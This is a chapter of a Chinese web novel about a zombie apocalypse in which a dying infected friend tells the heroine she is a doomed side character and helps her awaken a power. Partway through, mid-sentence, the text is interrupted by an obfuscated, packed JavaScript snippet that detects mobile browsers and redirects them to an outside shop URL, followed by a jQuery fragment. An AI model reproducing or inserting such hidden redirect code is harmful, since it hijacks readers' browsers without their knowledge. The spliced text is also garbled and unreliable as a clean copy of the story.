薛依梧捂住脸,更伤心了。
她不仅没能阻止感染,甚至制造出了智商高到能调戏人的高智商感染者!
王珊珊好奇地掰开她的手指:“怎么光打雷不下雨?”
薛依梧:“我哭不出来。”
是的,虽然她很伤心,但是她哭不出来。
没办法,薛依梧从小就不爱哭,可能泪腺不发达吧。
“这倒是有意思,”王珊珊说,“你以后掉眼泪的时候多着呢。”
她说完,扶了一下往下掉的嘴角。
是的,她的脸也开始像一般感染者一样,开始皮肉分离,剥离骨骼了。
“你只有十分钟,十分钟后,我就会完全被感染,所以不要伤心了,仔细听我讲的话。”
王珊珊说。
薛依梧不太确定地看着她,小声询问:“珊珊?”
“嗯,是我。”
王珊珊说:“来不及解释更多了,可能因为你救了我一百次,我觉醒了自主意识——你也挺能耐的,每次都记得拉我一把,即便我们关系也就那样。”
薛依梧又有些想哭:“关系也就那样……”
特异感染者版本的王珊珊说话好伤人。
“哎呀,设定里就是这样嘛,没办法呀,我们当npc的,也抗拒不了剧情呀。”
王珊珊不太走心地敷衍安慰道。
然后抓住薛依梧的手,很认真道:“总之,我觉醒了自主意识,知道了很多东西。接下来我说的话可能有些荒谬,但对象是你的话,应该可以接受。”
薛依梧其实想问为什么是她的话就可以接受,但是王珊珊不给她说废话的机会。
王珊珊简明扼要地开口:
薛依梧是一本漫画的女主角。
是在开局即死的、只是偶尔出现在男主回忆、激励着他成长变强的工具人女主。
陆子瞻就是那个男主角。
两人青梅竹马,在捅破窗户纸的那一天,末日降临。
薛依梧死在了陆子瞻面前。
从那之后,陆子瞻决心要拯救如同薛依梧一样无辜的幸存者,建立一个安全区。
接下来的剧情就和薛依梧关系不大了,自有各路豪杰、红颜知己上阵,陪伴陆子瞻一路成为最强的异能者。
只是偶尔生死边缘,陆子瞻会因为在走马灯的时候想起薛依梧,进而激活回忆杀,绝境爆发出强大能量,进一步蜕变成为更强。
“所以你的思路是对的,要想摆脱必死的命运,从别的地方入手是不行的,必须要改变剧情的走向。”
薛依梧的死法不太重要,重要的是成为陆子瞻难以忘怀的白月光。
因此她必须死。
除非她拒绝陆子瞻的告白。
如果她拒绝了的话,那么她就不能那么轻易地在开篇死掉。
“因为你死后,陆子瞻会终生受困于你的拒绝,怀疑你另有所爱、自怨自艾,意志消沉,失去成为救世主的动力和决心。”
因此薛依梧拒绝陆子瞻之后,为了不让剧情出现更大的差错,剧情反而会延缓她的死期。
但仅仅这样还不够,这还不能完全拯救薛依梧。
王珊珊继续道:“但是让剧情完全崩坏也是不行的,因为陆子瞻是这个崩坏世界的拯救者,他不去拯救世界,这个世界很快就会沦为人间炼狱,你也不能幸免。”
“答应也会死,拒绝也活不长……”薛依梧自嘲道,“一条是死路,另一条也是死路,让人怎么选。”
“你不是已经做出选择了吗?”王珊珊抬手,想要拨开她有些凌乱的碎发,但是因为手上皮肤也已经开始溃烂,而最终放下了手。
薛依梧则很茫然:“我选了什么?”
她有得选吗?
“在生与死之间,你选择了慢点死,如果我们把这个慢点无限延长——”
“——那也算一种善终?”
这个说法就像是一种变相的好死不如赖活着。
对于别人可能没有什么说服力,但是对于死了九十多次的薛依梧来说,这确实是一个办法。
只有亲历死亡,才会意识到生的可贵。
问薛依梧活着的意义是什么,她说不出来,但是问她死亡的感受,她却有一个答案。
“我不想死。”
王珊珊怜爱地看着她。
薛依梧垂着头,整个人都在颤抖,颤抖的幅度极小,像是在接力忍耐。
“我不想一无所有又一无所知地死掉,我不想被人怀念,我不想只是在回忆里鲜活,我想活生生地站在我喜欢的人面前。”
王珊珊:“你还喜欢陆子瞻吗?”
这个问题在今天之前让薛依梧脸红心跳,怅然若失,现在却只让她觉得茫然。
“我不知道……”
“没关……”
王珊珊刚要安慰她,初恋不是那么容易忘掉的,但话音未落,突然听到薛依梧开口,声音平静得让人感到陌生:
“但我喜欢活生生的我自己。”
没有伤口的、拥有力量的、能说能笑,可以稳稳当当站在地面上的自己。
王珊珊愣了一下:“怪不得你是女主角。”
薛依梧不大理解她这句话的意思,毕竟,根据王珊珊的说服,自己这个女主角有名无分,不过是个工具人角色。
“开篇即死的女主角。”薛依梧苦笑。
这也算女主角吗?
王珊珊安抚地拍拍她的手:“好了,我的女主角,别想这些。我们现在的计划就是让你尽可能地活得更久一点。”
“这不太容易。”
和剧情抗衡,想也知道不容易。
“你那有那么好杀?”王珊珊偷笑,脸上的皮又掉了一块下来,“剧情杀了你九十九次,你还不是觉醒了自主意识?你没觉醒的时候都不听剧情的话,更何况你现在觉醒了?再说还有我呢,我不会让你死的。要死也不该是现在呀,你才十七岁,小花骨朵的年纪,嘎嘣一下死了,多可怜。”
“珊珊,你对我真好。”
薛依梧感动之余,随手从床单上捡起王珊珊掉落的那块脸皮,试图给她安回去。
不然血肉模糊的,视觉冲击实在是有点大。
王珊珊接过脸皮,随意按在脸上,继续道:
“末日之后,世界上的人分为三类,感染者,幸存者和异能者。
感染者你也见识过了,都是些失去理智的行尸走肉,后期还会进化成为各种可怕的样子;幸存者就是那些普通的正常人;异能者则是感染了病毒之后、不仅没有死,还觉醒了伴生体的人。
这些异能者都拥有强大的力量,是建立和守护人类安全区的主要力量。”
陆子瞻作为男主,理所应当地是一个异能者。
“但是他觉醒得比较晚,你死了之后,他才觉醒的。也是因为这个原因,他很抗拒使用自己的力量。
一个强大的异能者却不愿意使用自己的力量,你知道这有多特别吗?这引得众多佳丽失神,控制不住地把目光投射在他身上……”
“不要再说他了,”薛依梧没忍住打断,“不是只有十分钟吗?你挑挑重点讲啊!”
“哦哦,好,那我先一笔带过,其实,就是,在剧情里,你虽然死得很早,但其实,你不是普通的幸存者,你是隐性异能者,你是可以生成伴生体拥有异能的,只是缺乏一个契机,或者说,需要一些时间成长,打个比方,别人的伴生体是现成的,你的是一颗小种子,需要时间萌芽。”
剧情里该设定只是为了加深男主的遗憾,让他午夜梦回,幻想假如薛依梧觉醒了伴生体、拥有力量,是不是一切都会不一样——
但那时候的薛依梧已经死了,这些假设不再有意义,男主心碎到天明,又赚一波读者的眼泪。
这个在原剧情中没有任何用处的设定在现在有了意义。
因为,薛依梧现在还活着。
如果薛依梧能够提前觉醒伴生体,成为一个异能者,那么她就有了自保的能力,并且不算违反剧情。
在设定里,异能者很难杀,薛依梧如果能觉醒异能,即使是剧情,也必须遵循设定,不能轻易将她杀死,如果她后期还能尽量修正剧情,让陆子瞻依旧拯救世界,那么世界意志极大概率会放过她,因为世界意志在意的只是主线剧情。
“可是我没有觉醒伴生体。”
薛依梧一紧张,忍不住用力,王珊珊的一根手指被她揪了下来。
王珊珊淡定地把那根掉了的手指扔到垃圾桶里,然后用四根手指给薛依梧顺毛:“别担心,我不是说了吗?有我在。”
还有五分钟。
但是对于王姗姗来说,五分钟绰绰有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001727|193979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
余。
王珊珊:“手伸出来。”
薛依梧伸出手。
王珊珊呸了一口。
薛依梧震惊。
又恶心又茫然,很想找个什么东西擦一下。
但是王珊珊不给她这个时间。
王珊珊认真看着她,说:“你知道为什么感染者都会失去神智吗?其实这是出于怜悯才有的设定,因为变成感染者真的很痛,每分每秒都能感受到皮肉分离、内脏碎裂的痛苦,不过失去神智就感觉不到痛苦了。”
薛依梧愣了一下:“那你……”
“是啊,真的好痛呢,要不是为了你,我早就去主空间了,才不留在这个身体里受苦呢!”王珊珊笑笑。
王珊珊笑着朝她眨眨眼,睫毛像是成熟的蒲公英一样全都掉了下来。
“可这样的疼痛你经历了九十多次呢,你比我还厉害,不愧是我最喜欢的小梧桐呀。”
薛依梧说不出话来。
她哭不出来,但是心里难受得像是发了一场洪灾。
她被泡在冰冷的洪水里,身体软绵绵的,没有一点力气。
这种无能为力的感觉让她很难受。
王珊珊想安慰她,像往常一样捏一捏她的脸,可是她的手臂关节已经在她们谈话的某个瞬间、悄无声息地断掉了。
她抬不起手。
王珊珊只能用眼睛“捏”了一下薛依梧的脸。
她眨眨眼,漂亮的双眼皮已经肿胀得遮住了眼球。
“你不用担心时间,末日元素是不会重置的,所以在九十九次的末日里,你的伴生体已经成长得很充分了,只差一点点就可以萌芽,但是它不在你的身体里,我刚刚去偷了给你,现在它马上就要长出来了,有了伴生体,你就再也不用害怕啦。”
王珊珊语气轻快,然后咳出一口血。
她的舌头掉了。
感染者特有的裂口出现了——牙齿变得尖锐,牙弓膨大,硬生生撕裂了口腔,嘴角蔓延至于耳侧。
王珊珊再也说不出话了。
不过没关系,她已经把重要的事情告诉了薛依梧。
薛依梧低头,呆呆地看着自己的掌心。
不知道是不是心理作用,刚被王珊珊啐过的地方突然痒了起来,还莫名发烫,仿佛有什么东西正在皮肤下剧烈地做运动,腾腾的热气穿破手掌。
还有两分钟。
薛依梧想要再和王珊珊说句话。
她不知道说什么,只是本能地站起来。
王珊珊仰着头看她。
她的神情温柔,但是皮肤脱落,露出内里的肌肉神经,形容可怖,。
王珊珊身体的异变仍在继续。
看来感冒冲剂只能抵挡最开始的异变,并不能成为治病良药、彻底解决病毒。
只不过王珊珊通过意志力控制了这具身体,让它不因为本能袭击薛依梧。
但也只有十分钟而已。
“再见。”
薛依梧轻声说,仿佛这只是一个普通的下午,她们在校门口分别,明天又会再见。
薛依梧松开王珊珊的手。
她用桌子和椅子挡住了病床。
王珊珊始终安静地看着她。
她的眼球布满了红色血丝,也许她已经“看”不清楚她了。
还有一分钟。
薛依梧反锁了病房的门。
然后跑到走廊上,锁了通往体育馆那一侧的大门。
还有三十秒。
薛依梧头也不回地在无人的走廊上狂奔,脚步声清晰地传递给医疗室里的王珊珊。
听着急促的脚步声渐远,王珊珊露出一个欣慰的笑容。
她走到窗边,隔着窗纱看见薛依梧急匆匆离开的背影。
跑快一点呀,再跑快一点呀。
王珊珊在心里默念。
不要回头。
最后三秒。
王珊珊转身,操纵已经不太听使唤的身体狠狠撞击在桌角。
尖锐的桌角没入身体,墨红色的血块稀稀拉拉掉了一地。
可恶啊,竟然还能感觉到被捅穿肚子的疼痛。
算了,谁让薛依梧在九十九次末日里都尝试救她呢?那她也救薛依梧一次吧。
王珊珊眼角一抖,永远地失去了意识。
再见,小梧桐。